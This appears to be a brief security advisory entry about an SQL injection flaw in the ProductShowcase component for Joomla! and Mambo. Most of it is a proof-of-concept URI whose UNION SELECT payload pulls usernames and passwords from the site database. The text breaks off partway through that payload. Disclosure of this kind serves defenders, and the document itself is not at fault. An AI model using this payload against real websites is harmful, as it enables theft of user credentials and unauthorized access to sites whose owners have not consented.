Joomla! and Mambo ProductShowcase Component 'id' Parameter SQL Injection Vulnerability

Joomla! and Mambo ProductShowcase Component 'id' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/index.php?option=com_productshowcase&Itemid=S@BUN&action=details&id=-99999/**/union/**/select/**/0,concat(username,0x3a,password),concat(username,0x3a,password